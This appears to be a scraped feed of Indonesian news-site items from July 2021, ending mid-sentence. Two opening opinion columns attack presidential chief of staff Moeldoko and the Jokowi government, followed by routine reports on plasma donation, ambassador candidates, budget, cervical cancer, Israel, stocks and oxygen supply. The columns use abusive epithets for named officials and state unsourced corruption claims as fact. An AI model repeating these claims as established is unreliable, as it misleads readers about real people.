JAGAD politik sejak Ahad, 11 Juli 2021 kemarin ramai dengan pernyataan Kepala Staf Presiden (KSP) Moeldoko. Ia yang belum lama gagal membegal Partai Demokrat (PD) meminta agar lalat-lalat politik tidak mengganggu pemerintah. Ia meminta masyarakat tidak pesimis dalam upaya keluar dari krisis Coronavirus Disease 2019 (Covid-19). Dia meminta semua pihak agar tidak menjadi lalat politik. Narasinya pun menggelikan. Ia meminta semua bersatu. Sebab, yang dibutuhkan sekarang adalah kebersamaan dalam menghadapi Covid-19. "Saya mengingatkan semua pihak, janganlah menjadi lalat-lalat politik yang justru mengganggu konsentrasi," ucap Moeldoko tanpa menjelaskan siapa sosok lalat politik yang dimaksud. Mantan Panglima Tentara Nasional Indonesia (TNI) tersebut menegaskan, sejumlah pihak telah bekerja keras dalam penanganan pandemi ini. Mereka juga mempertaruhkan nyawa dalam peperangan melawan musuh tidak terlihat itu. Oleh karena itu, usaha tersebut jangan diganggu oleh pihak-pihak tertentu. "Konsentrasi siapa? Mereka yang saat ini bekerja keras bahkan mempertaruhkan hidup, dia bekerja antara hidup dan mati. Para tenaga medis, para ASN saat ini telah bekerja keras untuk itu semua. Sekali lagi janganlah menjadi lalat-lalat politik yang mengganggu," tuturnya. Ya, narasinya akhirnya menjual nama Aparatur Sipil Negara (ASN), terutama para tenaga medis. Tidak jelas, maksudnya apa. Padahal, rakyat selama ini juga prihatin atas banyaknya tenaga medis yang gugur saat menangani pasien Covid-19. Tidak jelas juga hubungan antara lalat politik dengan tenaga medis yang dia maksud, apalagi ASN. Akan tetapi, rakyat semua tahu ada menteri dan pejabat yang ngembat dana bantuan sosial. Semua rakyat tahu, terutama kalangan oposisi tentang kelakuan mantan Menteri Sosial Juliari Peter Batubara dan kawan-kawan yang makan bangkai saudaranya sendiri. Mereka adalah gerombolan drakula dan gendoruwo yang menghisap darah rakyat. Jelas, kelakuan Juliari Batubara dan kawan-kawan ada hubungannya dengan penderitaan rakyat. Lalu apa hubungan lalat politik dengan ASN dan tenaga medis? Siapa yang menjadi lalat politik itu? Bagaimana bentuk gangguan mereka? Semua tidak jelas. Namun, jika merunut ke belakang, penanganan Covid-19 sejak awal kemunculannya yang diumumkan Presiden Joko Widodo pada 2 Maret 2020. Dua orang warga Depok, tertular dari Warga Negara Jepang yang tinggal di Malaysia. Sewaktu mengumumkan saja pemerintah sudah tidak jujur. Awalnya, tidak dijelaskan di mana tertular. Akan tetapi, akhirnya ketahuan saat ketiganya berpesta di tempat dugem (dunia gemerlap) merayakan valentine day. Saat corona makin mengganas Jokowi tidak mau melakukan lokcdown. Alasannya, menjaga keseimbangan antara kesehatan dan ekonomi. Meskipun kenyataannya sekarang keduanya sama-sama hancur dan remuk. Tidak hanya itu. Rakyat dilarang berkerumun, umat Islam dilarang shalat berjamaah di masjid (sempat masjid ditutup) khususnya di DKI Jakarta dan beberapa kota besar lain, umat Kristen dimarang ke gereja dan agama lain dilarang ke tempat ibadah masing-masing. Sementara Jokowi beberapa kali melakukan dan mengundang kerumunan massa. Karyawan banyak terkena PHK (Pemutusan Hubungan Kerja), dan sulit mendapatkan pekerjaan. Sementara pemerintah menggelar karpet kepada Tenaga Kerja Asing (TKA) China. Alasannya, tenaga mereka sangat dibutuhkan, dan mereka datang sudah dengan surat keterangan bebas covid-19. Kok tenaga satuan pengaman, tukang las, dan bahkan tukang rumput harus didatangkan dari negara komunis itu? Kedatangan mereka sangat melukai hati rakyat, terutama pata pekerja yang di-PHK atau pencari kerja. Kelakuan pejabat Indonesia, terutama Menteri Koordinator Maritim dan Investasi, Luhut Binsar Panjaitan sangat melukai rasa keadilan rakyat. Akan tetapi, Luhut itu hanya tameng, karena semua itu atas perintah Jokowi. Luhut hanya menjabarkan visi dan misi Jokowi. Sebab, semua menteri tidak boleh punya visi dan misi, layaknya di negara komunis dan monarkhi atau kerajaan. Banyak kelakuan Jokowi dan para menteri dan pejabatnya, termasuk komisaris dan direksi Badan Usaha Milik Negara (BUMN) yang melukai hati rakyat. Akan tetapi, mengapa Moeldoko malah menyebut lalat-lalat politik. Lalat ada hubungannya dengan bangkai, sampah, dan bau tidak sedap lainnya. Rakyat sudah muak dan bosan dengan kelakukan rezim Jokowi. Mau bukti? Bisa dicek dalam pembicaraan di warung kopi, di pinggir jalan, kalangan tukang ojek, tukang becak. Bahkan, sebagian besar ASN, TNI, dan Polri juga sudah tidak sabar melihat kenyataan di tengah rakyat. Hanya saja, mereka terutama TNI dan Polri tunduk pada atasan. Lalat ada kaitan dengan bangkai, sampah dan bau tidak sedap lainnya. Lalat akan mengelilingi bangkai, tempat sampah dan bau busuk lainnya. Oleh karena itu, pantaslah rejim sekarang dicap sebagai rezim sampah, bangkai dan busuk. Moeldoko dan sebagian lingkaran Istana, terutama Ali Ngabalin adalah sampah politik dan bangkai politik yang harus segera disingkirkan. Mereka lebih layak disebut bangkai politik ketimbang sampah politik. Sebab, kalau sampah masih lebih terhormat. Walau sampah yang dikerubungi lalat, termasuk lalat hijau, tetapi sampai masih bisa didaur ulang menjadi pupuk, sampah pĺastik, kertas, dan karton misalnya, masih bisa ditampung pabrik, didaur ulang. Nah, kalau bangkai hanya lalat yang mau. Itu pun tidak bertahan lama. Sebab, saat bersamaan lalat akan bertarung dengan belatung atau ulat, berebut bangkai binatang. Sudahlah Moeldoko, Anda itu adalah bangkai politik yang tidak berguna. Ibarat bangkai binatang, bangkai politik itu sebentar lagi tidak berguna buat negara, bangsa dan rakyat.

JK: Jakarta Butuh 500 Donor Plasma Konvalesen per Hari

Jakarta, FNN - Ketua Umum Palang Merah Indonesia (PMI) Pusat Jusuf Kalla (JK) mengatakan kebutuhan donor plasma konvalesen dari penyintas COVID-19 di Jakarta diperkirakan sekitar 500 donor per hari untuk mempercepat penyembuhan pasien terjangkit penyakit virus SARS CoV-2 itu. “Sekarang kami tiap hari kurang lebih 100 pendonor, yang kami butuhkan 500 (donor) di Jakarta per hari,” kata Jusuf Kalla ketika melepas armada penjemput pendonor plasma konvalesen di gudang PMI Pusat di Jakarta, Senin. Wakil Presiden RI 2004-2009 dan 2014-2019 itu mengatakan salah satu kendalanya adalah kurangnya jumlah penyintas untuk mendonorkan plasma konvalesennya. Sedangkan fasilitas untuk donor plasma konvalesen di Jakarta, lanjut dia, mencapai delapan unit yang per hari untuk satu unit bisa memproduksi 10 donor sehingga rata-rata jumlah produksi mencapai sekitar 80 donor plasma konvalesen. Untuk itu, PMI menggandeng pihak swasta salah satunya dengan perusahaan jasa transportasi Bluebird yang akan mengantar jemput pendonor plasma konvalesen khususnya di wilayah Jakarta dan sekitarnya. Layanan sosial secara gratis itu ditandai dengan penandatanganan kerja sama antara PMI Pusat dengan Bluebird. JK didampingi Sekretaris Jenderal PMI Pusat Sudirman Said serta jajaran perusahaan transportasi itu kemudian melepas armada berwarna khas biru itu menjemput penyintas COVID untuk mendonorkan plasma konvalesennya. Pada pelepasan armada itu, sebanyak 10 kendaraan dikerahkan untuk mengawali operasional penjemputan di wilayah DKI Jakarta dan sekitarnya. Sementara itu, Komisaris Utama Bluebird Group Holding Bayu Priawan Djokosoetono mengatakan program tersebut sebagai bagian program tanggung jawab sosial berkelanjutan. Sebelumnya, pihaknya juga mengerahkan armada untuk memberikan pelayanan kepada warga terjangkit COVID-19 yang kendaraan dan pengemudinya dilengkapi standar prosedur penanganan COVID-19. Untuk layanan antar jemput pendonor plasma konvalesen ini, pihaknya akan menyiapkan armada sesuai kebutuhan. “Saat ini kami juga membantu pendonor untuk PMI yang membutuhkan donor plasma konvalesen sehingga mudah-mudahan bantuan ini bisa memberi dampak terhadap Jakarta dan Indonesia,” katanya. (mth)

Komisi I Mulai Gelar Uji Kelayakan Calon Dubes

Jakarta, FNN - Anggota Komisi I DPR RI Christina Aryani mengatakan Komisi I mulai melakukan uji kepatutan dan kelayakan atau "fit and proper test" terhadap 33 Calon Duta Besar pada Senin sampai Rabu (12-14 Juli), dengan menerapkan protokol kesehatan secara ketat. "Uji kelayakan ini terdiri dari 6 sesi selama 3 hari bersifat tertutup, dilakukan dengan menerapkan protokol kesehatan ketat," kata Christina dalam keterangannya di Jakarta, Senin. Dia menjelaskan penerapan prokes ketat tersebut dilakukan dengan masing-masing fraksi mengirimkan satu orang perwakilannya dalam uji kelayakan tersebut. Selain itu menurut dia, durasi per sesi maksimal 2 jam 15 menit. Christina berharap, proses uji kelayakan tersebut dapat berjalan lancar, dan melalui pertimbangan DPR-RI, Indonesia akan dapat mengirimkan calon dubes terbaik untuk masing-masing negara perwakilan sebagai perpanjangan tangan Pemerintah di luar negeri. Berikut ini daftar nama calon Dubes RI yang akan menjalani uji kelayakan di Komisi I DPR RI: 1. Ade Padmo Sarwono untuk Kerajaan Yordania Hashimiah merangkap Palestina 2. Bebeb AK Djundjunan untuk Republik Yunani 3. Tatang BU Razak untuk Republik Kolombia merangkap Antigua dan Barbuda, Barbados dan Federasi Saint Kitts dan Nevis 4. Pribadi Sutiono untuk Republik Slowakia 5. Siswo Pramono untuk Australia merangkap Republik Vanuatu​​​​​​​ 6. Triyogo Jatmiko untuk Republik Persatuan Tanzania, merangkap Republik Burundi dan Republik Rwanda​​​​​​​ 7. Heru Subolo untuk Republik Rakyat Bangladesh merangkap Republik Demokratik Federal Nepal 8. Okto Dorinus Manik untuk Republik Demokratik Timor Leste​​​​​​​ 9. Mayjen TNI Gina Yoginda untuk Republik Islam Afghanistan​​​​​​​ 10. Sunarko untuk Republik Sudan 11. Dewi Tobing untuk Sri Lanka merangkap Republik Maladewa​​​​​​​ 12. Lena Maryana Mukti untuk Kuwait 13. Ghafur Akbar Dharmaputra untuk Ukraina merangkap Republik Armenia, dan Georgia​​​​​​​ 14. Rudy Alfonso untuk Republik Portugal 15. Muhammad Najib untuk Kerajaan Spanyol merangkap United Nations World Tourism Organization (UNWTO) 16. Ardi Hermawan untuk Kerajaan Bahrain​​​​​​​ 17. Agus Widjojo untuk Republik Filipina merangkap Republik Kepulauan Marshall Islands dan Republik Palau 18. Ina Hagniningtyas Krisnamurthi untuk Republik India merangkap Kerajaan Bhutan​​​​​​​ 19. Fadjroel Rachman untuk Kazakhstan merangkap Republik Tajikistan​​​​​​​ 20. Daniel TS Simanjuntak untuk Kanada merangkap International Civil Aviation Organization (ICAO) 21. Mohamad Oemar untuk Prancis merangkap Kepangeranan Andorra, Kepangeranan Monako, dan United Nations Education, Scientific and Cultural Organization (UNESCO) 22. Abdul Aziz untuk Kerajaan Arab Saudi merangkap Organization of Islamic Cooperation (OIC) 23. Muhammad Prakosa untuk Italia merangkap Republik Malta, Republik Siprus, Republik San Marino, Food and Agriculture Organization (FAO), International Fund and Agricultural Development (IFAD), World Food Programme (WFP), dan International Institute for the Unification of Private Law (UNIDROIT) 24. Gandi Sulistiyanto Soeherman untuk Republik Korea 25. Zuhairi Misrawi untuk Republik Tunisia​​​​​​​ 26. Anita Lidya Luhulima untuk Republik Polandia 27. Rosan Perkasa Roeslani untuk Amerika Serikat 28. Fientje Suebu untuk Selandia Baru merangkap Samoa, Kerajaan Tonga, dan Kepulauan Cook dan Niue​​​​​​​ 29. Damos Dumoli Agusman untuk Republik Austria merangkap Republik Slovenia, United Nations Office at Vienna (UNOV) yang terdiri dari United Nations Office on Drugs and Crime (UNODC), United Nations Commission on International Trade Law (UNCITRAL), United Nations Office for Outer Space Affairs (UNOOSA), United Nations Industrial Development Organization (UNIDO), International Atomic Energy Agency (IAEA), Preparatory Commission for the Comprehensive Nuclear-TestBan Treaty Organization (CTBTO), OPEC Fund for International Development (OFID) dan International Anti-Corruption Academy (IACA) 30. Suwartini Wirta untuk Republik Kroasia 31. Derry MI Amman untuk Perutusan Tetap Republik Indonesia untuk Association of Southeast Asian Nation (ASEAN) 32. Arrmanatha Nasir untuk Perserikatan Bangsa Bangsa dan organisasi-organisasi internasional lainnya 33. Febrian A Ruddyard Untuk Perserikatan Bangsa-Bangsa, World Trade Organization (WTO), dan organisasi-organisasi internasional lainnya di Jenewa. (mth)

Ketua Banggar DPR Khawatirkan APBN Jika Pandemi Terus Berlanjut

Jakarta, FNN - Ketua Badan Anggaran (Banggar) DPR RI Said Abdullah mengkhawatirkan kondisi Anggaran Pendapatan dan Belanja Negara (APBN) jika pandemi COVID-19 yang masih menunjukkan kenaikan penambahan kasus baru terus berlanjut. "Mencermati keadaan dunia dan dalam negeri kita akibat COVID-19 dengan tingkat uncertainty tinggi dan bila tidak terkelola dengan cukup baik, maka akan berdampak luas terhadap kehidupan sosial, ekonomi dan kesehatan rakyat. Bila keadaan seperti ini berlangsung lama, maka akan berkonsekuensi mendalam terhadap APBN kita," ujar Said dalam pernyataan di Jakarta, Senin. Said pun meminta pemerintah menyusun skenario terburuk bila kebijakan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) tidak cukup efektif menekan tingkat positif COVID-19 harian. Meski demikian ia mengakui skenario terburuk tersebut akan membutuhkan dukungan anggaran sangat besar sehingga berkonsekuensi pada perubahan arah kebijakan dan sasaran dari postur APBN 2021 dan Rencana APBN 2022. Sejauh ini, lanjut Said, skenario APBN pada 2021 dan 2022 adalah skenario pemulihan baik dari sisi sosial, ekonomi, maupun kesehatan. Namun demikian, APBN belum memitigasi skenario gelombang demi gelombang dari pandemi yang berlangsung lebih lama. "Minggu lalu saya telah menyarankan pemerintah untuk mulai melakukan refocusing anggaran. Akan tetapi melihat situasi dan potensi resiko yang ada, selain refocusing, pemerintah perlu melakukan kebijakan kebijakan lebih jauh yang komprehensif," kata Said. Menurut Said, jika harus membuat kebijakan-kebijakan lanjutan yang berdampak luas baik ekonomi, sosial, dan kesehatan, termasuk dalam pelaksanaan skenario terburuk, maka pemerintah harus menjalin komunikasi dengan banyak pihak, termasuk dengan para pelaku bisnis dan keuangan dengan persiapan waktu komunikasi yang cukup. Langkah tersebut dinilai penting guna mengantisipasi guncangan pada bisnis dan pasar keuangan yang sejauh ini masih berjalan dengan sehat. "Saya mendukung penuh langkah pemerintah, khususnya terkait persetujuan anggaran, terkait pelaksanaan segala daya upaya dalam penanggulangan COVID-19, termasuk bila dalam pelaksanaan worst case scenario tersebut harus membutuhkan dukungan pembiayaan. Misalnya seperti penerbitan surat utang negara karena dampak turunnya penerimaan perpajakan," ujar Said. Ia menilai upaya total terhadap COVID-19 ini harus terus dilakukan. Apalagi, pandemi telah lebih dari setahun mendera negara di seluruh dunia. Tercatat sebanyak 170 negara mengalami kontraksi ekonomi, 44 negara di antaranya berlanjut dengan resesi panjang. Sementara beberapa negara di antaranya kontraksi ekonominya begitu dalam. "Kita tidak menyangka kawasan Eropa yang selama ini penuh kemakmuran, layanan kesehatan yang sangat memadai, namun beberapa negara seperti Italia, Spanyol, dan Inggris dibuat limbung akibat pandemi," kata Said. Saat ini dunia tengah menghadapi bayang-bayang penyebaran Virus Corona varian baru di Peru yaitu varian Lambda. Varian tersebut sekarang menyerang sebagian besar di kawasan Amerika Latin. Sejauh ini para peneliti mengidentifikasi varian Lambda memiliki tingkat infeksi yang sangat tinggi, termasuk kemampuannya mengelabui serangan imun tubuh. (mth)

Ahli: Kenali Gejala Kanker Serviks Sebelum Terlambat

Padang, FNN - Dokter spesialis kebidanan dan kandungan Semen Padang Hospital (SPH) dr Yoshida Nazar, Sp.OG mengingatkan kaum perempuan agar mengenali gejala kanker seviks atau leher rahim sejak dini karena jika terlambat ditangani bisa berujung kepada kematian. "Kanker serviks merupakan keganasan yang berasal dari leher rahim, serviks merupakan daerah yang menghubungkan rahim dan vagina," kata dia di Padang, Senin. Menurutnya kanker serviks terjadi saat sel normal di serviks berubah menjadi sel kanker. Sel-sel tersebut bisa berubah menjadi lesi serviks. Tumor yang ganas nantinya berkembang jadi penyebab kanker serviks. Gejala kanker serviks tidak selalu bisa terlihat dengan jelas, bahkan ada kemungkinan gejala tidak muncul sama sekali. Sering kali, kemunculan gejala terjadi saat kanker sudah memasuki stadium akhir. Oleh karena itu, melakukan pap smear secara rutin penting untuk menangkap sel prakanker dan mencegah perkembangan kanker serviks, ujarnya Ia mengemukakan nyeri panggul adalah salah satu gejala yang paling umum dari kanker serviks. "Sayangnya, kanker serviks tahap awal biasanya tidak menimbulkan rasa sakit atau gejala sama sekali," kata dia. Sementara beberapa ciri kanker serviks tahap lanjut yang dapat dirasakan, antara lain perdarahan di luar periode menstruasi, perdarahan setelah hubungan seksual, perdarahan pascamenopause, sakit atau tidak nyaman selama hubungan seksual. Lalu keputihan dengan bau yang kuat, keputihan yang mengandung darah, buang air kecil menjadi lebih sering dan bercak di urine hingga tidak dapat buang air kecil. "Kanker serviks yang diketahui telah berstadium lanjut dapat mengakibatkan kerugian bagi organ tubuh di sekitarnya dan dapat menyebabkan kematian," ujarnya. Akan tetapi ia menyampaikan kanker ini masih bisa disembuhkan jika ditemukan sejak awal. Maka dari itu sebenarnya terdapat kesempatan yang cukup lama untuk mendeteksinya melalui skrining dan menanganinya sebelum menjadi kanker serviks. Penyebab kanker serviks lanjutnya, diketahui berasal dari Human Papilloma Virus (HVP) sub tipe onkogenik, terutama sub tipe 16 dan 18. Ia menambahkan dengan mengetahui tahapan kanker sedini penting untuk membantu pengidapnya dalam menentukan jenis perawatan yang paling efektif. (mth)

Presiden Israel Janji Lanjutkan Dialog dengan Palestina

Yerusalem, FNN - Presiden Israel Isaac Herzog berjanji akan melanjutkan dialog dengan mitra Palestina Mahmoud Abbas, yang menyampaikan ucapan selamat atas pelantikan kepadanya via telepon, Minggu (11/7). "Malam ini saya berbicara dengan kepala Otoritas Palestina (PA) Mahmoud Abbas yang menelepon untuk memberikan ucapan selamat atas peran baru saya. Sebagai ucapan terima kasih, saya menegaskan bahwa saya berniat untuk mempertahankan dialog dengannya seperti yang telah dilakukan oleh presiden Israel terdahulu," cuit Herzog di Twitter. Dia juga berbagi harapan untuk "membantu mendorong hubungan dan harapan perdamaian antara dua bangsa yang hidup berdampingan." Menurut Kantor Berita Palestina WAFA, Abbas selama melakukan panggilan itu menekankan pentingnya mencapai perdamaian abadi di Gaza, Tepi Barat dan Yerusalem. Stasiun TV Channel 12 di Israel sebelumnya memberitakan Abbas sedang menyusun daftar tuntutan jika seandainya pembicaraan damai Palestina-Israel kembali dimulai. Pembicaraan antara pemimpin Palestina dan Israel kandas pada April 2014 lantaran Tel Aviv menolak untuk membebaskan warga Palestina yang ditahan sejak sebelum 1993 dan menolak menghentikan kegiatan pemukiman di wilayah Palestina yang mereka duduki.

IHSG Awal Pekan Menguat Ikuti Kenaikan Bursa Global

Jakarta, FNN - Indeks Harga Saham gabungan (IHSG) Bursa Efek Indonesia (BEI) pada awal pekan menguat mengikuti kenaikan bursa saham global. IHSG dibuka menguat 20,21 poin atau 0,33 persen ke posisi 6.060,05. Sementara kelompok 45 saham unggulan atau Indeks LQ45 naik 5,17 poin atau 0,62 persen ke posisi 845,51. "Investor masih mencermati perkembangan keberhasilan kebijakan PPKM Darurat dan program vaksinasi nasional dalam menekan laju infeksi COVID-19," tulis Tim Riset Lotus Sekuritas dalam kajiannya di Jakarta, Senin. Sementara peningkatan kasus baru COVID-19 varian delta secara global dan munculnya varian baru Lambda di dalam negeri, memicu kekhawatiran terhambatnya pemulihan ekonomi. Bank Indonesia melaporkan Indeks Penjualan Riil (IPR) tercatat di posisi 202,3 untuk periode Juni 2021, melambat dibandingkan Mei 227,5. Adapun pekan ini, fokus tertuju pada rilis data neraca perdagangan Juni yang diperkirakan surplus 4,7 miliar dolar AS. IHSG pada awal pekan ini masih berpeluang bergerak beragam pada rentang 6.022-6.080. Dari eksternal, bursa ekuitas AS reli menuju rekor penutupan tertinggi pada perdagangan Jumat (9/7) lalu. Pelaku pasar menanti rilis data Indeks Harga Konsuman (IHK) AS pada Juni 2021 pada pekan ini, yang diperkirakan tumbuh 4,9 persen (yoy). Fokus investor juga beralih kepada ekspektasi pertumbuhan kinerja keuangan kuartal II 2021 emiten dibandingkan penurunan signifikan pada kuartal II 2020. Dari Eropa, Bank Sentral Eropa (ECB) menetapkan target inflasi baru sebesar dua persen dalam hasil tinjauan 18 bulan, menyiratkan periode kebijakan longgar yang lebih lama. Adapun, sebagian besar emiten bursa Eropa diperkirakan akan memulai periode laporan keuangan mulai pekan ini. Di Asia, Pemerintah Jepang mengumumkan larangan penonton di Olimpiade Tokyo seiring keadaan darurat virus COVID-19. Sementara, Korea Selatan mengumumkan penerapan pembatasan sosial level 4 untuk kawasan Seoul pada Jumat (9/7) lalu. Bursa saham regional Asia pagi ini antara lain Indeks Nikkei menguat 583,06 poin atau 2,09 persen ke 28.523,48, Indeks Hang Seng naik 93,54 poin atau 0,34 persen ke 27.438,08, dan Indeks Straits Times meningkat 13,6 poin atau 0,43 persen ke 3.145. (mth)

Lalat Politik Moeldoko

By M Rizal Fadillah Bandung, FNN - Kepala KSP Moeldoko menyatakan dalam situasi pandemi ini jangan ada pihak yang menjadi lalat politik yang membuat terganggunya konsentrasi penanganan pandemi. Dalam pernyataan lain ditegaskan Moeldoko bahwa Jokowi sedang menjadi panglima tertinggi dari penanganan pandemi Covid 19 ini. Dalam kaitan panglima, suara sumbang menyatakan bahwa bukan persoalan klaim panglima tertinggi, justru urgensi kini adalah bagaimana Jokowi bisa turun dari jabatan Presiden. Jokowi dinilai gagal dan tidak mampu. Bagaimana menjadi panglima, faktanya selalu sembunyi atau lepas tangan dari tanggungjawab. Memimpin para menteri saja berantakan. Penyebutan adanya lalat politik oleh Moeldoko perlu klarifikasi. Pihak mana yang disebut dengan lalat politik itu. Sebagai pejabat negara tidak baik melempar sesuatu tanpa kejelasan dan kepastian. Bila yang dimaksud lalat politik itu adalah pihak eksternal pengeritik Pemerintah, maka itu sangat keliru karena kritik adalah pengingat dan obat. Keberadaan pengeritik itu perlu. Mungkin sasarannya adalah internal kekuasaan itu sendiri yang bertikai dalam faksi-faksi. Tidak semua elemen oligarkhi terkonsolidasi baik untuk mendukung pilihan kebijakan penanganan pandemi. Ada yang bermain dua atau tiga kaki. Moeldoko merasakan "sakitnya tuh disini" ketika mengkudeta Partai Demokrat. Dukungan palsu ia rasakan. Mungkin model ini yang dimaksud lalat politik Moeldoko. Apapun itu, siapapun yang disasar, maka pernyataan Moeldoko itu sendiri adalah pengakuan bahwa penanganan pandemi itu sebenarnya semrawut, boros, dan bau. Persis seperti sampah. Pada tumpukan sampah itulah berterbangan banyak lalat. Rakyat terpaksa merenung dan berfikir apakah Moeldoko itu termasuk lalat politik ? Dalam Riwayat Bukhori, Raja Namrud otoriter tewas karena lalat masuk ke dalam hidungnya dan menyakiti otaknya. Namrud memukul-mukul kepalanya untuk mengatasi penderitaan. Ujungnya musuh Nabi Ibrahim itu mati mengenaskan. Dalam ceritra "The Bald Man and The Fly" digambarkan orang berkepala botak dihinggapi lalat. Ia memukulnya, dan lalat pun terbang. Lalat mengejek dan hinggap kembali. Si botak tertantang dan siap memukul lebih keras lagi untuk membunuh lalat. Kepala botak dipukul berulang ulang hingga sakit sendiri. Kebodohan nyata. Moeldoko dan para oligarkhi kekuasaan mulai merasa terganggu oleh lalat politik yang hinggap di kepalanya. Bernafsu untuk menghabisi, namun kepalanya yang semakin botak dipukul berulang ulang sehingga terasa sakit dan terus menyiksa. Akan tetapi rasa sakit itu bisa dikalahkan oleh nafsu sadis untuk membasmi. Rezim Jokowi memang makin botak, dipukul dan ditampar berulang-ulang oleh tangan-tangan kebodohannya sendiri. Ungkapan Moeldoko memberi legitimasi sebuah rezim basa-basi. Beralasan sebagai solusi dalam menangani pandemi demi investasi dan hutang luar negeri, tetapi sebenarnya mereka sedang mencari komisi dengan cara kolusi dan korupsi. Solusi pun dibuat hanya untuk cari selamat dan keuntungan sendiri. *) Pemerhati Politik dan Kebangsaan

Menjamin Ketersediaan Oksigen untuk si Pasien COVID-19

Pekanbaru, FNN - Oksigen (O2) adalah barang lumrah yang melimpah dan mudah ditemui di alam setiap hari selama 24 jam penuh. Oksigen dengan mudahnya dihirup bagi manusia yang sehat melalui hidung menuju paru-paru untuk membantu keberlanjutan hidup seseorang. Namun, bagi orang sakit, apalagi terpapar COVID, keberadaan oksigen saat ini sangat diidam-idamkan untuk membantu kelangsungan hidup. Ya, hidup yang sesungguhnya. Tanpa pasokan oksigen yang lancar atau kesulitan menghirup gas O2 itu, nyawa pasien COVID-19 bisa melayang. Parahnya, saat ini jumlah pasien COVID-19 yang dirawat membludak di banyak rumah sakit atau menjalani isolasi mandiri, terutama di Pulau Jawa dan Pulau Bali. Sejalan dengan itu, kebutuhan oksigen medis pun turut meningkat. Pemerintah pun segera merespons cepat dengan mengontak sumber-sumber produsen di dalam negeri maupun luar negeri untuk menyediakan oksigen dan obat-obatan lainnya demi menolong pasien COVID-19. Kementerian Perindustrian pun menerbitkan Instruksi Menteri Perindustrian Nomor 1 Tahun 2021 tentang Produk Oksigen Sebagai Komoditas Strategi Industri dalam Masa Pandemi COVID-19. Melalui instruksi tersebut, pasokan oksigen untuk fasilitas kesehatan seperti di rumah sakit, puskesmas ataupun gedung yang dijadikan tempat isolasi diharapkan dapat dipenuhi oleh industri dalam negeri. Menteri Perindustrian Agus Gumiwang Kartasasmita mengharapkan perusahaan industri dan kawasan industri juga dapat berperan dalam membantu penanganan COVID-19, terutama dalam upaya pemenuhan kebutuhan penanganan keselamatan pasien COVID-19 seperti oksigen, tabung oksigen, ventilator, obat-obatan, alat pelindung diri, masker dan alat kesehatan lainnya. Sejumlah perusahaan termasuk Tanoto Foundation dan PT RAPP (April Group) merespons cepat dengan membantu penyediaan oksigen sebanyak 500 ton untuk memenuhi kebutuhan rumah sakit yang berada di bawah koordinasi Kementerian Kesehatan. Kementerian Perindustrian terus melakukan berbagai upaya proaktif dengan melakukan kerja sama, koordinasi dengan kementerian lembaga terkait khususnya dengan Kementerian Kesehatan, pemerintah daerah, asosiasi-asosiasi industri maupun perusahaan gas industri. Saat ini kebutuhan oksigen medis sebesar 2.600 ton per hari, sementara kapasitas nasional terhitung sejak tanggal 1 Juli 2021 hanya sebesar 1.700 ton per hari. Sehingga kebutuhan oksigen masih defisit, dan jika hal ini dibiarkan maka keselamatan pasien terutama yang terpapar COVID-19 bisa berada di ujung tanduk. Pasien COVID-19 yang telah dibantu oksigen medis saja masih bisa meninggal dunia, apalagi yang tidak dibantu dengan oksigen. Namun kembali lagi, berpulang kepada ketetapan Allah SWT. Manusia hanya bisa berdoa dan berusaha. Oleh karena itu, Kementerian Perindustrian masih mencari sumber-sumber oksigen medis lain baik melalui peningkatan produksi lokal maupun melalui importasi. Kementerian Perindustrian setidaknya telah dapat mengamankan kebutuhan oksigen baik melalui peningkatan produksi lokal maupun importasi sebesar 922 ton oksigen. Harus diakui, jika perusahaan turut memproduksi oksigen medis maka hal itu bisa saja memperlambat kinerja usahanya. Namun, demi alasan kemanusiaan, urusan keuntungan perusahaan bisa dikesampingkan terlebih dahulu. Sehatkan dulu masyarakatnya, kemudian baru bisa dipulihkan perekonomian. ​​​​​​ Berbagi cerita Susahnya bernafas tanpa bantuan oksigen medis bagi pasien COVID-19 pernah dialami Gubernur Riau, Syamsuar ketika dia terpapar virus berbahaya itu. Mantan Bupati Siak dua periode ini pernah terpapar COVID-19 dan harus menjalani perawatan selama sekitar satu bulan. Kesulitan bernafas sempat dialami orang nomor satu di Provinsi Riau ini, terlebih lagi Syamsuar juga memiliki penyakit penyerta (komorbid) sehingga memperparah kondisinya. "Saya mengetahui persis (rasanya susah bernafas) karena saya pernah dirawat di rumah sakit. Oksigen ini sangat membantu ketika kita kesulitan bernafas terutama apabila COVID-19 sudah sampai ke paru-paru," kata Gubernur Riau Syamsuar. Kesaksian Gubernur Riau itu membuktikan bahwa sumbangan oksigen ini turut menentukan keselamatan jiwa pasien COVID-19 yang membutuhkan. Bantuan oksigen medis itu sangat bermanfaat bagi para pasien yang sedang berjuang meraih kesembuhan dari penyakit berbahaya itu. Karena itulah, peran serta perusahaan swasta lainnya untuk membantu menjamin ketersediaan oksigen medis sangat diperlukan. Apa yang telah dilakukan Tanoto Foundation melalui PT RAPP (April Goup) patut didukung. Gubernur Riau Syamsuar mengaku sudah menghubungi sejumlah perusahaan termasuk PT Indah Kiat (Sinar Mas Group) untuk membantu ketersediaan oksigen medis. Data per tanggal 11 Juni 2021 menunjukkan jumlah kasus positif COVID-19 di Tanah Air saat ini mencapai 2.527.203 orang, dengan jumlah kesembuhan sebanyak 2.084.724 orang, dan 66.464 orang meninggal dunia. Sementara itu, ribuan pasien lainnya masih berupaya dan berjuang untuk sehat. Oksigen yang biasa dihirup pun menjadi kebutuhan penting. Waspada penimbun Dalam upaya menjamin ketersediaan oksigen medis, pihak kepolisian mengancam akan bertindak tegas terhadap oknum pengusaha atau masyarakat yang mencoba menimbun atau menaikkan harga oksigen medis. Ancaman juga dilakukan terhadap penimbun obat-obatan ataupun perlengkapan medis yang saat ini sangat dibutuhkan pasien dan tenaga medis. Karena itu, jangan mencoba-coba mengeruk keuntungan pribadi atau kelompok di tengah kondisi masyarakat yang sedang berduka. Sudah saatnya seluruh anak bangsa bahu-membahu membebaskan Indonesia dari COVID-19. "Situasi sulit ini jangan dimanfaatkan oleh pihak mana pun untuk mencari keuntungan, jangan menimbun, dan jangan berspekulasi terhadap situasi sulit sekarang ini," tegas Kepala Biro Penerangan Masyarakat (Karopenmas) Divisi Humas Polri Brigjen Pol Rusdi Hartono. Pada masa Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat Provinsi Jawa-Bali, Polri melakukan aktivitas deteksi intensif terhadap berbagai informasi, isu-isu berkembang di masyarakat, dan mempersiapkan langkah antisipasi. Isu tentang kelangkaan obat dan kelangkaan oksigen menjadi perhatian Polri sehingga isu itu akan ditangani dengan baik. Entah sampai kapan pandemi COVID-19 akan berakhir. Untuk mengakhirinya diperlukan keseriusan dan 